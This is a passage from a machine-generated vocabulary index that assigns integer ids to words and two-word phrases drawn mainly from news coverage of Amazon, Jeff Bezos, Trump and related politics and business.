"times llc": 173507, "fools bumped": 173508, "service jamal": 173509, "delivery purposes": 173510, "sparsely populated": 173511, "parents david": 173512, "brexit timetable": 173513, "coincidental": 173514, "options exchange": 173515, "advertising policy": 173516, "accountability austin": 173517, "120 miles": 173518, "editorname null": 173519, "tricked": 173520, "types": 173521, "tostring f4a": 173522, "quickly dylan": 173523, "government narrative": 173524, "warren solomon": 173525, "allowed vendors": 173526, "retailer flipkart": 173527, "potential consumers": 173528, "micah": 173529, "cases delrahim": 173530, "goods griffeth": 173531, "legalization inevitably": 173532, "vicious gangster": 173533, "137 000": 173534, "propaganda engine": 173535, "trumpatriotism": 173536, "similar situations": 173537, "wasn pulling": 173538, "justin osofsky": 173539, "ppchd": 173540, "sued": 173541, "make millions": 173542, "stock apple": 173543, "production food": 173544, "antitrust complaint": 173545, "monopoly brink": 173546, "company massachusetts": 173547, "chase named": 173548, "jedi": 173549, "pirro fox": 173550, "reforms": 173551, "utility dream": 173552, "scribner addressing": 173553, "flirts": 173554, "major chip": 173555, "quiet according": 173556, "sins": 173557, "blackmon": 173558, "store focuses": 173559, "mixed uses": 173560, "nation awaited": 173561, "brother canada": 173562, "shopper day": 173563, "penn station": 173564, "anonymity welcomed": 173565, "company common": 173566, "2017 bringing": 173567, "rebekah": 173568, "demand details": 173569, "photo evan": 173570, "por": 173571, "just waiting": 173572, "immigrant parents": 173573, "cite amazon": 173574, "thughouse steve": 173575, "mean mixed": 173576, "aviation agency": 173577, "heeled": 173578, "blue collar": 173579, "newstage desk": 173580, "keeping score": 173581, "looting": 173582, "hq2 offering": 173583, "official cecilia": 173584, "union tariffs": 173585, "court shares": 173586, "pools transcript": 173587, "kemp holds": 173588, "logging rainforest": 173589, "century great": 173590, "urging people": 173591, "100 new": 173592, "jeffrey epstein": 173593, "cd": 173594, "2020 california": 173595, "estate broker": 173596, "friendly bolsonaro": 173597, "pink slips": 173598, "specifically argued": 173599, "statement gumball": 173600, "house real": 173601, "bannertext": 173602, "haidar foreign": 173603, "amazon fundamentals": 173604, "updating": 173605, "political insiders": 173606, "jobs republicans": 173607, "amazon chasing": 173608, "state brooklyn": 173609, "divorce settlement": 173610, "transparently gross": 173611, "bureau approved": 173612, "122 shares": 173613, "question excluded": 173614, "wafers": 173615, "strange morning": 173616, "terms donald": 173617, "takes dark": 173618, "driving rich": 173619, "president thinking": 173620, "care professionals": 173621, "bring metapack": 173622, "high wattage": 173623, "us137": 173624, "cia spook": 173625, "regulators cicilline": 173626, "result brands": 173627, "phone line": 173628, "counterfeit merchandise": 173629, "creating european": 173630, "employees amazon": 173631, "event begins": 173632, "thumbimageelem data": 173633, "ocala": 173634, "plagued epa": 173635, "monster hunter": 173636, "brennan arguments": 173637, "mattis resignation": 173638, "media clumsy": 173639, "nasty predatory": 173640, "huge revenue": 173641, "emotions involved": 173642, "good standing": 173643, "larry hogan": 173644, "judge throws": 173645, "streaming channels": 173646, "alibaba procter": 173647, "commerce firm": 173648, "brother mark": 173649, "opera star": 173650, "wouldn remove": 173651, "undecided": 173652, "hathaway warren": 173653, "force recommends": 173654, "computing bid": 173655, "fave player": 173656, "counting": 173657, "underlying claim": 173658, "onset": 173659, "amazon facilitated": 173660, "property state": 173661, "shutting": 173662, "blasio new": 173663, "protesters just": 173664, "khan says": 173665, "uh think": 173666, "locomotive stepped": 173667, "ceo divorce": 173668, "blocking chip": 173669, "destructive impulses": 173670, "onlookers": 173671, "mccain apologize": 173672, "strategy officer": 173673, "rsa": 173674, "oral arguments": 173675, "leg": 173676, "sellen": 173677, "redmi": 173678, "senne ap": 173679, "seek new": 173680, "reason taco": 173681, "reported grueling": 173682, "smattering": 173683, "substance": 173684, "personally funded": 173685, "singular": 173686, "stamps amazon": 173687, "bernstein cass": 173688, "metapack software": 173689, "giant hq2": 173690, "service postmaster": 173691, "literally 100": 173692, "18217174 jeff": 173693, "hands fox": 173694, "includes training": 173695, "disproportionate impact": 173696, "bake food": 173697, "delivery led": 173698, "wsj politics": 173699, "office stating": 173700, "lockstep": 173701, "index actually": 173702, "200 day": 173703, "collections apparel": 173704, "consulting firm": 173705, "svcs automobile": 173706, "fraud attempts": 173707, "heid": 173708, "absolutely inappropriate": 173709, "thank heaven": 173710, "happy donald": 173711, "doors trump": 173712, "tweeting covington": 173713, "apple care": 173714, "656": 173715, "ripple": 173716, "modest pay": 173717, "isolationist platform": 173718, "higher pension": 173719, "break american": 173720, "prior year": 173721, "estimating revenues": 173722, "ahead new": 173723, "average retirement": 173724, "kawas geekwire": 173725, "housing affordability": 173726, "levity": 173727, "hurting owner": 173728, "faced massive": 173729, "ascending": 173730, "wrapped": 173731, "place prosecutors": 173732, "city competition": 173733, "guys thanks": 173734, "gearing": 173735, "jamanxim national": 173736, "vanessa": 173737, "moveon": 173738, "today photo": 173739, "canaccord": 173740, "hills calif": 173741, "vogel": 173742, "753 788": 173743, "sexually harassed": 173744, "250 billion": 173745, "retailer premium": 173746, "exempts sales": 173747, "charles heist": 173748, "cold war": 173749, "gall trump": 173750, "reactid 196": 173751, "company current": 173752, "destiny": 173753, "priests random": 173754, "notable early": 173755, "distressed debt": 173756, "expectations according": 173757, "meng queens": 173758, "colts": 173759, "chapel choir": 173760, "wage wouldn": 173761, "washington according": 173762, "erica moody": 173763, "says russia": 173764, "pricing model": 173765, "brain cancer": 173766, "gov charlie": 173767, "sour": 173768, "photos colleges": 173769, "drive roughly": 173770, "pass": 173771, "expanding 19th": 173772, "comments reported": 173773, "law clerk": 173774, "time spicer": 173775, "utilities sector": 173776, "iran": 173777, "denuclearization norah": 173778, "edge wordplay": 173779, "post saying": 173780, "fedex ceo": 173781, "software incorrectly": 173782, "including follow": 173783, "eisele agence": 173784, "davia temin": 173785, "assad according": 173786, "trillion definitely": 173787, "pecker friend": 173788, "amazon expertise": 173789, "sales efforts": 173790, "organic decline": 173791, "particular democratic": 173792, "twitter prominent": 173793, "killed stories": 173794, "recently dubbing": 173795, "proposed sinclair": 173796, "know involving": 173797, "away magic": 173798, "suggested connection": 173799, "alexa changed": 173800, "changed amazon": 173801, "tight want": 173802, "chicago protests": 173803, "entrepreneur owns": 173804, "upbeat report": 173805, "fortnite maker": 173806, "dolls": 173807, "says rosenstein": 173808, "chevron cincinnati": 173809, "exemptions 2113": 173810, "billions adding": 173811, "nefarious going": 173812, "trump significantly": 173813, "90s sitcom": 173814, "viable service": 173815, "courts imagine": 173816, "left margaret": 173817, "taking ride": 173818, "tx holds": 173819, "audible": 173820, "yvette pena": 173821, "insurance rules": 173822, "mccain helped": 173823, "wage 2018": 173824, "mecklenburg county": 173825, "trimester": 173826, "universal declaration": 173827, "bezos career": 173828, "scenes credentials": 173829, "news coming": 173830, "1997 led": 173831, "fractured": 173832, "taut": 173833, "protection 227181": 173834, "good new": 173835, "preachers": 173836, "dokoupil": 173837, "military says": 173838, "badhealth brands": 173839, "unsubscribe": 173840, "cancellation notification": 173841, "winning": 173842, "207 reduced": 173843, "trump criticized": 173844, "developer jbg": 173845, "bezos chided": 173846, "merle": 173847, "sizevery large": 173848, "sam club": 173849, "makes billions": 173850, "vendors just": 173851, "highest city": 173852, "tariffs executives": 173853, "sai thailand": 173854, "bolivia guyana": 173855, "brighter imageurl": 173856, "applause": 173857, "time writing": 173858, "amazon certification": 173859, "reviving criticisms": 173860, "intuitive biometrics": 173861, "uses twitter": 173862, "regular tools": 173863, "falkowitz": 173864, "late husband": 173865, "showboating declared": 173866, "look rock": 173867, "enemy best": 173868, "supportive facts": 173869, "npr copyright": 173870, "image 1270x734": 173871, "thankfully": 173872, "violently": 173873, "fareye": 173874, "internet company": 173875, "worthy": 173876, "2017 possible": 173877, "schrader distills": 173878, "consistently reported": 173879, "home early": 173880, "adviser susan": 173881, "related regulations": 173882, "consumer harm": 173883, "air refueling": 173884, "fund executive": 173885, "v9 object": 173886, "finish campaigning": 173887, "viewpoint": 173888, "moratorium covers": 173889, "specifically better": 173890, "profiles developed": 173891, "misinformation hate": 173892, "killer chicago": 173893, "ensured": 173894, "held 68m": 173895, "government investigations": 173896, "new boss": 173897, "catalog pages": 173898, "governing": 173899, "imported goods": 173900, "government raised": 173901, "resulting fine": 173902, "corrosive": 173903, "healy pointed": 173904, "boss believed": 173905, "getty somodevilla": 173906, "tickets selling": 173907, "favorable number": 173908, "flashlight read": 173909, "popular sons": 173910, "inc_custom_css": 173911, "toronto outpost": 173912, "hellmann announced": 173913, "latest incentive": 173914, "schapperts tale": 173915, "1924": 173916, "uttam": 173917, "equit": 173918, "lubin pivoted": 173919, "labour market": 173920, "criminal": 173921, "gauntlet kavanaugh": 173922, "presidency click": 173923, "russian hysteria": 173924, "ernest dumas": 173925, "schwab": 173926, "speech reuters": 173927, "trumpdeclared": 173928, "low microsoft": 173929, "examiner road": 173930, "aws helps": 173931, "business morning": 173932, "issue vestager": 173933, "addison eater": 173934, "digital seduction": 173935, "forward price": 173936, "office joined": 173937, "reality star": 173938, "contract wisconsin": 173939, "sarah marshall": 173940, "ted filing": 173941, "bring allen": 173942, "consume regardless": 173943, "customers arriving": 173944, "pet food": 173945, "reports circulated": 173946, "chao": 173947, "mchenry": 173948, "ideas innovate": 173949, "scraping": 173950, "divisive": 173951, "assassinations": 173952, "possible cabinet": 173953, "carmaker warned": 173954, "guy named": 173955, "market herera": 173956, "driver speak": 173957, "neutrality": 173958, "tapeworm": 173959, "baffling decision": 173960, "discounter": 173961, "collins democratic": 173962, "food": 173963, "chief advantages": 173964, "elbow grease": 173965, "tech assassination": 173966, "texts spoke": 173967, "woeful subway": 173968, "draw harsh": 173969, "facing months": 173970, "employees assigned": 173971, "brazil aspirations": 173972, "new shopper": 173973, "remains venezuela": 173974, "unintentional": 173975, "schumer called": 173976, "cities oakland": 173977, "texas nevada": 173978, "trades amazon": 173979, "frank regulation": 173980, "northeast cheryl": 173981, "free speech": 173982, "employment equity": 173983, "wouldn post": 173984, "trumpy phrases": 173985, "changed significantly": 173986, "disaster spurs": 173987, "usps data": 173988, "family politico": 173989, "decision followed": 173990, "cautious stance": 173991, "data video": 173992, "view california": 173993, "khashoggi contributor": 173994, "upright police": 173995, "new 1040": 173996, "president president": 173997, "fancy book": 173998, "chicago roiled": 173999, "amazon counterfeits": 174000, "story disaster": 174001, "company executive": 174002, "education infrastructure": 174003, "spark": 174004, "targets number": 174005, "cringely asserted": 174006, "people press": 174007, "nonverbal digs": 174008, "rep jerry": 174009, "maximum million": 174010, "officers used": 174011, "davidson analysts": 174012, "products causing": 174013, "soybean exports": 174014, "testimony kelly": 174015, "questions despite": 174016, "contributor dead": 174017, "law initiating": 174018, "000 cost": 174019, "fast expansion": 174020, "1521260051 mod": 174021, "fiscal reality": 174022, "inauthentic items": 174023, "construction trades": 174024, "area share": 174025, "contribution": 174026, "bet large": 174027, "1951": 174028, "henderson hawker": 174029, "criticism sen": 174030, "deadpanned": 174031, "court appearance": 174032, "123 billion": 174033, "company argues": 174034, "anniversary cardi": 174035, "existing partners": 174036, "doctors lawyers": 174037, "pointing": 174038, "robert wood": 174039, "great speech": 174040, "glitch according": 174041, "clashing desires": 174042, "unmatched": 174043, "wbes blake": 174044, "publicized hq2": 174045, "marie kond\u014d": 174046, "consumer advocates": 174047, "social impacts": 174048, "weinswig founder": 174049, "intelligence officials": 174050, "feature humans": 174051, "article trevor": 174052, "akram sent": 174053, "senior federal": 174054, "little soft": 174055, "cohn defended": 174056, "blow falling": 174057, "trump perfect": 174058, "comment fear": 174059, "country consulate": 174060, "auction giving": 174061, "isnt good": 174062, "70th": 174063, "trump arrives": 174064, "economic cultural": 174065, "council turkey": 174066, "da silva": 174067, "seller expansion": 174068, "best companies": 174069, "public airing": 174070, "prompted trump": 174071, "research reiterated": 174072, "rekognition remains": 174073, "fly smart": 174074, "trump ascended": 174075, "including exxon": 174076, "results frankly": 174077, "dakota case": 174078, "primed": 174079, "employees wages": 174080, "agreement": 174081, "poverty tens": 174082, "obtain license": 174083, "marital breakups": 174084, "colleague paul": 174085, "story facing": 174086, "simulated sex": 174087, "assured": 174088, "sins helpful": 174089, "derided bezos": 174090, "indigenous claim": 174091, "cutting mixing": 174092, "storm ravages": 174093, "lawsuits donovan": 174094, "accumulating massive": 174095, "things felt": 174096, "friend wife": 174097, "purple tie": 174098, "carouselcontentitems": 174099, "vision 2018": 174100, "vehicle leases": 174101, "steep cost": 174102, "news studio": 174103, "unmasked": 174104, "dominated previous": 174105, "examine spinning": 174106, "rhetorical attacks": 174107, "criticized nbc": 174108, "rents computer": 174109, "await despite": 174110, "bezos instantly": 174111, "significant volume": 174112, "planned road": 174113, "divided states": 174114, "daphn\u00e9": 174115, "resonate": 174116, "crossover republicans": 174117, "taxpaying retailers": 174118, "book contents": 174119, "finances": 174120, "irs isn": 174121, "forbes dallasnews": 174122, "largest market": 174123, "decisions trump": 174124, "perceived feud": 174125, "angeles county": 174126, "trump law": 174127, "rekognition": 174128, "discouraging patronage": 174129, "outpaces": 174130, "ceo emerging": 174131, "sadiq khan": 174132, "warehouse conditions": 174133, "jeopardy": 174134, "000 duty": 174135, "christianity usatoda": 174136, "179": 174137, "slimy yes": 174138, "data highlighted": 174139, "european markets": 174140, "explained lawmakers": 174141, "voting process": 174142, "warren blasts": 174143, "bargain stocks": 174144, "growth drivers": 174145, "wamhoff": 174146, "trump steve": 174147, "major hurdle": 174148, "costs icahn": 174149, "obsolete": 174150, "god bless": 174151, "representatives walk": 174152, "way amazon": 174153, "existing shipping": 174154, "open 2018": 174155, "source world": 174156, "ruthless": 174157, "hey listen": 174158, "know putting": 174159, "viewing data": 174160, "fair joe": 174161, "html video": 174162, "awkward moments": 174163, "chinatown": 174164, "130bn \u0142100bn": 174165, "dumb": 174166, "cosponsors": 174167, "million titles": 174168, "baltimore boston": 174169, "naturalmedicine": 174170, "hits far": 174171, "open records": 174172, "price range": 174173, "banner": 174174, "mayor include": 174175, "recommend policy": 174176, "growth soars": 174177, "tim": 174178, "american consumer": 174179, "extra hydration": 174180, "open pic": 174181, "price won": 174182, "talks waste": 174183, "tailors order": 174184, "parents js": 174185, "harrowing stories": 174186, "facts included": 174187, "furious protester": 174188, "rentier": 174189, "previous cooperation": 174190, "bank record": 174191, "countless ancillary": 174192, "publicly apologised": 174193, "patriots hitting": 174194, "took care": 174195, "essential mail": 174196, "1536177183": 174197, "hempstead": 174198, "devotes": 174199, "property acquired": 174200, "sexual selfies": 174201, "sails available": 174202, "jquery": 174203, "unanswered question": 174204, "gaining rapid": 174205, "return j8i": 174206, "prove popular": 174207, "bottger newman": 174208, "actress marla": 174209, "clinton running": 174210, "tracy gabriel": 174211, "articleelem videoplayer": 174212, "threads": 174213, "angeles california": 174214, "walking outside": 174215, "bezos time": 174216, "money laundering": 174217, "recent trillion": 174218, "paper reliably": 174219, "2022": 174220, "equity markets": 174221, "apple forecasts": 174222, "wqam joe": 174223, "wasfired": 174224, "new video": 174225, "gop white": 174226, "islam dangerous": 174227, "including health": 174228, "billion media": 174229, "matching": 174230, "poignant post": 174231, "tax dustup": 174232, "niiya": 174233, "stephen levin": 174234, "shelton shopping": 174235, "scandalous attack": 174236, "everyday people": 174237, "know apple": 174238, "magnetic": 174239, "griffith": 174240, "loans arena": 174241, "documentary oprah": 174242, "card table": 174243, "vintage": 174244, "digital artist": 174245, "post national": 174246, "gou backed": 174247, "discouraging": 174248, "testing": 174249, "merve emre": 174250, "galloway predicted": 174251, "differentiates": 174252, "porowski restaurant": 174253, "saudi threats": 174254, "hendrixson": 174255, "billionaire having": 174256, "make informed": 174257, "offered zuker": 174258, "reception sorry": 174259, "ryan ohio": 174260, "showed fewer": 174261, "retailer workers": 174262, "suitcase tsa": 174263, "apparent hatred": 174264, "bob pisani": 174265, "year fineman": 174266, "basic journalistic": 174267, "juniper networks": 174268, "mining activities": 174269, "chart data": 174270, "affair involving": 174271, "agency positioning": 174272, "arms illegally": 174273, "regnery ranked": 174274, "cnbcs": 174275, "exculpatory": 174276, "including war": 174277, "corporate interests": 174278, "draft eprivacy": 174279, "trump daughter": 174280, "mail based": 174281, "newsflash": 174282, "did say": 174283, "controversial company": 174284, "harrier": 174285, "italy rising": 174286, "members newly": 174287, "military erred": 174288, "publicly release": 174289, "interestingly agriculture": 174290, "air jet": 174291, "mart nyse": 174292, "gas leases": 174293, "says 51554478900": 174294, "hq2 rollout": 174295, "uses amazon": 174296, "supports medicare": 174297, "selyukh": 174298, "new star": 174299, "research bezos": 174300, "money story": 174301, "recanted": 174302, "small distribution": 174303, "chang majordomo": 174304, "progressive democrats": 174305, "outnumber workers": 174306, "leaving white": 174307, "rainforest significantly": 174308, "cause antitrust": 174309, "cast democrats": 174310, "read business": 174311, "intermingled": 174312, "technology executives": 174313, "blasio administration": 174314, "forward thinking": 174315, "article journalism": 174316, "excellent point": 174317, "simply political": 174318, "tech providers": 174319, "mcdowell cheryl": 174320, "commentators argued": 174321, "passionately": 174322, "queens community": 174323, "exiles": 174324, "2018 broken": 174325, "violations tax": 174326, "daughter team": 174327, "store benefits": 174328, "jenner 2015": 174329, "opining": 174330, "legit reason": 174331, "bezos critic": 174332, "corporation benefits": 174333, "sun does": 174334, "story retailers": 174335, "understate": 174336, "sanders office": 174337, "orig cnn": 174338, "culminates": 174339, "stores aka": 174340, "exploration washington": 174341, "collecticon": 174342, "podcastone": 174343, "bezos chief": 174344, "dream missouri": 174345, "mn reported": 174346, "founder steve": 174347, "pecker francois": 174348, "gender isn": 174349, "established press": 174350, "political rival": 174351, "point loss": 174352, "deserves new": 174353, "edwardsville": 174354, "opioid promotions": 174355, "martha maccallum": 174356, "infamous trump": 174357, "valley data": 174358, "townhall event": 174359, "director media": 174360, "shteyngart jonathan": 174361, "washington public": 174362, "comment ron": 174363, "close tokyo": 174364, "erred": 174365, "tech stock": 174366, "offshore debt": 174367, "turn worsen": 174368, "high level": 174369, "trump cease": 174370, "support thankful": 174371, "nightlife industry": 174372, "quick read": 174373, "deuce returns": 174374, "men grooming": 174375, "barro wrote": 174376, "world bucked": 174377, "amazon campus": 174378, "won nobel": 174379, "google gmail": 174380, "child sizes": 174381, "spiral embroidery": 174382, "uk parliament": 174383, "sanders changing": 174384, "criticisms bezos": 174385, "shoplocal boycottamazon": 174386, "city posted": 174387, "excerpt hope": 174388, "meantime different": 174389, "hired tell": 174390, "detainment facility": 174391, "bannon cambridge": 174392, "small farmers": 174393, "authorize agencies": 174394, "buy gifts": 174395, "catlin": 174396, "skyhorse version": 174397, "fund future": 174398, "criticised amazon": 174399, "unflinchingly reported": 174400, "cohon toronto": 174401, "detox week": 174402, "harsh light": 174403, "james thomson": 174404, "annual reputation": 174405, "powerful technologies": 174406, "bezos does": 174407, "church": 174408, "contending": 174409, "magnificent beast": 174410, "teva shares": 174411, "mantel": 174412, "businesses dive": 174413, "situation actually": 174414, "facing higher": 174415, "consumers bmw": 174416, "burn fat": 174417, "tm marital": 174418, "bezos declined": 174419, "watched later": 174420, "twists": 174421, "trust charges": 174422, "demonstrating amazon": 174423, "reduced volume": 174424, "dropped sharply": 174425, "paying potential": 174426, "earlier amazon": 174427, "spheres": 174428, "donations sort": 174429, "annual letter": 174430, "drummed": 174431, "apple wrote": 174432, "ties": 174433, "arsenic wafers": 174434, "interfaces apis": 174435, "ice notechforice": 174436, "amid sexual": 174437, "articulate": 174438, "harsh immigration": 174439, "premier cards": 174440, "executives approved": 174441, "annenberg center": 174442, "advertise": 174443, "reported 11m": 174444, "publisher obtained": 174445, "today program": 174446, "deutsche": 174447, "banker carol": 174448, "tennessee gov": 174449, "operation math": 174450, "predetermines": 174451, "finalists": 174452, "series stars": 174453, "marveled": 174454, "predatory habits": 174455, "harrison ford": 174456, "rousseff discovered": 174457, "liberties advocates": 174458, "honors": 174459, "quarter upbeat": 174460, "japanese sunscreen": 174461, "breaks altogether": 174462, "defeat man": 174463, "reserved material": 174464, "london ftse": 174465, "oppenheim": 174466, "rules taste": 174467, "flick starring": 174468, "continued heavy": 174469, "exposing sexual": 174470, "year heather": 174471, "worth thinking": 174472, "shipping data": 174473, "deluge": 174474, "silent princess": 174475, "schwan isn": 174476, "underway conservationists": 174477, "guy sure": 174478, "assets europe": 174479, "accomplished": 174480, "post type": 174481, "charges severe": 174482, "international shippers": 174483, "native people": 174484, "drug firms": 174485, "690 words": 174486, "pack goods": 174487, "empire claiming": 174488, "mandates cooling": 174489, "review staff": 174490, "renewed scaring": 174491, "hosts weekend": 174492, "media person": 174493, "morning calling": 174494, "bezos jokes": 174495, "galleries": 174496, "stone sign": 174497, "livewire tpmlivewire": 174498, "test presidential": 174499, "usps role": 174500, "wire anthony": 174501, "antifa": 174502, "promise 2018": 174503, "ranchers shock": 174504, "open source": 174505, "uk amazon": 174506, "americans willingness": 174507, "miami beach": 174508, "service story": 174509, "befall": 174510, "revenues experiencing": 174511, "nathanbomey": 174512, "heyer": 174513, "challenge obama": 174514, "columnist": 174515, "asked does": 174516, "boilerplate register": 174517, "candidates deliver": 174518, "team olson": 174519, "good food": 174520, "whooping cough": 174521, "solution citing": 174522, "rust belt": 174523, "serrano waterfront": 174524, "makes": 174525, "netflix board": 174526, "interrupt conversation": 174527, "does seattle": 174528, "boston indianapolis": 174529, "continental trump": 174530, "county wis": 174531, "excellent performance": 174532, "media business": 174533, "verify electronic": 174534, "actions seek": 174535, "presidential retreat": 174536, "gdp booming": 174537, "officially kicks": 174538, "equally": 174539, "trade partly": 174540, "capped drama": 174541, "clear americans": 174542, "cdc government": 174543, "nickel boys": 174544, "louis county": 174545, "handle complaints": 174546, "average beer": 174547, "far negative": 174548, "moon bible": 174549, "cowen survey": 174550, "staving": 174551, "nonprofits universities": 174552, "company engaged": 174553, "russiagate": 174554, "sanctuary cities": 174555, "time startdate": 174556, "index returns": 174557, "whitaker acting": 174558, "newspapers man": 174559, "fi horror": 174560, "inventors bob": 174561, "sells": 174562, "elber upcoming": 174563, "little protection": 174564, "purchase donate": 174565, "advertising production": 174566, "agency final": 174567, "sacred places": 174568, "surveys suggest": 174569, "hate american": 174570, "en": 174571, "read briefing": 174572, "media attention": 174573, "blockbuster performance": 174574, "good middle": 174575, "ranganathan budding": 174576, "street governor": 174577, "certain changes": 174578, "independent science": 174579, "persuasive": 174580, "new expensive": 174581, "constitutes fake": 174582, "providing better": 174583, "loeb afp": 174584, "combat experience": 174585, "america firsts": 174586, "ice facility": 174587, "kiernan": 174588, "modernists social": 174589, "anti counterfeiting": 174590, "facebook board": 174591, "ships wrote": 174592, "confiscated venezuela": 174593, "publication turning": 174594, "deems companies": 174595, "repositories": 174596, "wba": 174597, "t\u00e9a obreht": 174598, "ol horror": 174599, "extortion practices": 174600, "direct way": 174601, "rashomon": 174602, "post encouraging": 174603, "objection avon": 174604, "mcrae says": 174605, "reject trump": 174606, "extortion according": 174607, "massive cronyism": 174608, "hellacious bundle": 174609, "protect intellectual": 174610, "trump enmity": 174611, "proposed editorials": 174612, "economic team": 174613, "mash": 174614, "playing fields": 174615, "coby": 174616, "clear strong": 174617, "million prime": 174618, "050 pushing": 174619, "market trumps": 174620, "ap airbus": 174621, "advanced problem": 174622, "hugely": 174623, "ultra tangy": 174624, "talkin": 174625, "fare fact": 174626, "amazon recalled": 174627, "economies eunice": 174628, "related fields": 174629, "china demand": 174630, "tokyo new": 174631, "sellers paid": 174632, "straddle": 174633, "workshops": 174634, "cnbc published": 174635, "computer uses": 174636, "area study": 174637, "benz": 174638, "overturning": 174639, "carville washington": 174640, "created 130": 174641, "corrupting": 174642, "union tribune": 174643, "danhof": 174644, "weisberger latest": 174645, "agreement download": 174646, "journalists academics": 174647, "kavanaugh guilty": 174648, "augmented": 174649, "post truth": 174650, "auction software": 174651, "sparked circular": 174652, "trump planned": 174653, "choosing process": 174654, "best case": 174655, "book club": 174656, "funnel": 174657, "turning story": 174658, "policy strategist": 174659, "southern illinois": 174660, "730 000": 174661, "story roger": 174662, "convicted ruggiero": 174663, "state money": 174664, "nationwide strikes": 174665, "sex politics": 174666, "tree nicknamed": 174667, "metoo tsunami": 174668, "revealing 2016": 174669, "reduce poverty": 174670, "voice lessons": 174671, "shackles": 174672, "v1 tolowercase": 174673, "company packages": 174674, "palantir technologies": 174675, "near dc": 174676, "faces calls": 174677, "trapped animal": 174678, "50x50 getty_173218731_200015422000928060_388160": 174679, "line checkout": 174680, "past apple": 174681, "manila": 174682, "fox talking": 174683, "2013 trump": 174684, "reddit match": 174685, "wanted structural": 174686, "companies rank": 174687, "company looks": 174688, "haaland": 174689, "disputed provisions": 174690, "consensus calls": 174691, "wrong person": 174692, "roig franzia": 174693, "releasing": 174694, "killed minutes": 174695, "camp": 174696, "human sacrifice": 174697, "important priorities": 174698, "terror amazon": 174699, "confederate symbols": 174700, "street employee": 174701, "philanthropic causes": 174702, "w4w": 174703, "unrivaled talent": 174704, "existing plans": 174705, "farm workers": 174706, "following zuckerberg": 174707, "program related": 174708, "cloudscape": 174709, "midweek games": 174710, "altogether congresswoman": 174711, "week listening": 174712, "contributed terrence": 174713, "pedigree": 174714, "itt pledged": 174715, "mutilations": 174716, "portraying": 174717, "glue": 174718, "firmly believe": 174719, "mobile modernizr": 174720, "possibly endanger": 174721, "sources added": 174722, "giant bnsf": 174723, "appearance green": 174724, "company troubled": 174725, "stay san": 174726, "untapped": 174727, "parking place": 174728, "tax bracket": 174729, "publicly arguing": 174730, "received approval": 174731, "xi apparently": 174732, "warren pinpointed": 174733, "says britain": 174734, "graveyard": 174735, "elliott served": 174736, "fatter": 174737, "location amazon": 174738, "investment manager": 174739, "p4": 174740, "trump senate": 174741, "demanded agency": 174742, "hour strike": 174743, "regard selected": 174744, "servicenow": 174745, "free press": 174746, "reason google": 174747, "dancer mary": 174748, "podcast words": 174749, "potential shipping": 174750, "employees claiming": 174751, "2018 sourcename": 174752, "global estimated": 174753, "phone manufacturers": 174754, "grow companies": 174755, "food preparation": 174756, "trump tweet": 174757, "writer katie": 174758, "monitor arm": 174759, "problem read": 174760, "washington task": 174761, "future moody": 174762, "trains run": 174763, "really thrive": 174764, "contempt scandal": 174765, "drew hisses": 174766, "ply power": 174767, "pressure bartiromo": 174768, "president appeared": 174769, "today global": 174770, "dormant": 174771, "billion owned": 174772, "matt whitlock": 174773, "mcdonough school": 174774, "impact operating": 174775, "courier company": 174776, "weren going": 174777, "blocking": 174778, "medicaid rules": 174779, "nov elections": 174780, "speak clearly": 174781, "advent": 174782, "j0": 174783, "started rolling": 174784, "cnn u003ca": 174785, "trillion alongside": 174786, "joining robust": 174787, "early motto": 174788, "little bit": 174789, "status 1019644666608803840": 174790, "assistant ubiquitous": 174791, "arbor hill": 174792, "bogus legalistic": 174793, "met trade": 174794, "stars amandla": 174795, "locate distribution": 174796, "relinquished": 174797, "greedily taking": 174798, "fairly": 174799, "richest man": 174800, "showtime digital": 174801, "firsthand account": 174802, "local newspapers": 174803, "google google": 174804, "massive losses": 174805, "government estimates": 174806, "general comment": 174807, "birkenstock pulled": 174808, "crisis prices": 174809, "unwaveringly committed": 174810, "widespread belief": 174811, "bumblefuck": 174812, "different categories": 174813, "graces according": 174814, "frequently counterfeited": 174815, "ala 007": 174816, "automate discovery": 174817, "obvious human": 174818, "channels amazon": 174819, "industry foundation": 174820, "uk spent": 174821, "reportedly raging": 174822, "season includes": 174823, "creating new": 174824, "prime plus": 174825, "completed wrapping": 174826, "photo letters": 174827, "aunt dorothy": 174828, "mind altering": 174829, "candlelight": 174830, "clinton case": 174831, "choose different": 174832, "years helping": 174833, "ceo threatening": 174834, "mud": 174835, "tech president": 174836, "floor following": 174837, "primaries defends": 174838, "secret documents": 174839, "national democrats": 174840, "won help": 174841, "groups announced": 174842, "evaristo miranda": 174843, "pro forma": 174844, "city king": 174845, "player protests": 174846, "individual children": 174847, "polish remover": 174848, "sapphire": 174849, "pay outsized": 174850, "corner jeff": 174851, "income heavily": 174852, "brazilian environmental": 174853, "profitable wadhwa": 174854, "allegedly sent": 174855, "box loose": 174856, "idle": 174857, "just finding": 174858, "fancy hotel": 174859, "salvaging": 174860, "davie": 174861, "recent large": 174862, "size dominating": 174863, "post remains": 174864, "provide analysis": 174865, "kids visit": 174866, "rightward": 174867, "million day": 174868, "corbyn jeremycorbyn": 174869, "seconds wh": 174870, "healing": 174871, "weingarten": 174872, "countries brazil": 174873, "fall adding": 174874, "amazon grain": 174875, "record true": 174876, "boulder": 174877, "willful acquisition": 174878, "helped win": 174879, "ford government": 174880, "benzene": 174881, "nudes leaked": 174882, "black president": 174883, "tax refunds": 174884, "faa hey": 174885, "war rhetoric": 174886, "cutlery": 174887, "google owner": 174888, "paint dry": 174889, "alcoa told": 174890, "photos ext": 174891, "forces motivated": 174892, "company direct": 174893, "5_5 ad": 174894, "w9x n3x": 174895, "hit theaters": 174896, "gerryr812": 174897, "atlanta volunteered": 174898, "record 2018": 174899, "sniff": 174900, "microsoft wins": 174901, "having played": 174902, "firm points": 174903, "bulk rate": 174904, "true abroad": 174905, "state economy": 174906, "trusting": 174907, "global advsr": 174908, "damianpaletta": 174909, "rivet": 174910, "canadian dollar": 174911, "crc": 174912, "reporter taylor": 174913, "lead wall": 174914, "puts aws": 174915, "making process": 174916, "bellwether": 174917, "quincy": 174918, "female lawmakers": 174919, "ansari": 174920, "troubling right": 174921, "mike quigley": 174922, "moreabout": 174923, "getting divorced": 174924, "simple step": 174925, "ftc main": 174926, "immediate community": 174927, "photo provided": 174928, "division addressed": 174929, "truly disadvantaged": 174930, "restock": 174931, "known danner": 174932, "brittany williams": 174933, "prime worth": 174934, "farrow": 174935, "streamline online": 174936, "emphasizes": 174937, "state having": 174938, "broward": 174939, "news dana": 174940, "goods products": 174941, "tonight ben": 174942, "acquisition service": 174943, "senators meeting": 174944, "require specialized": 174945, "hold danger": 174946, "massive introduction": 174947, 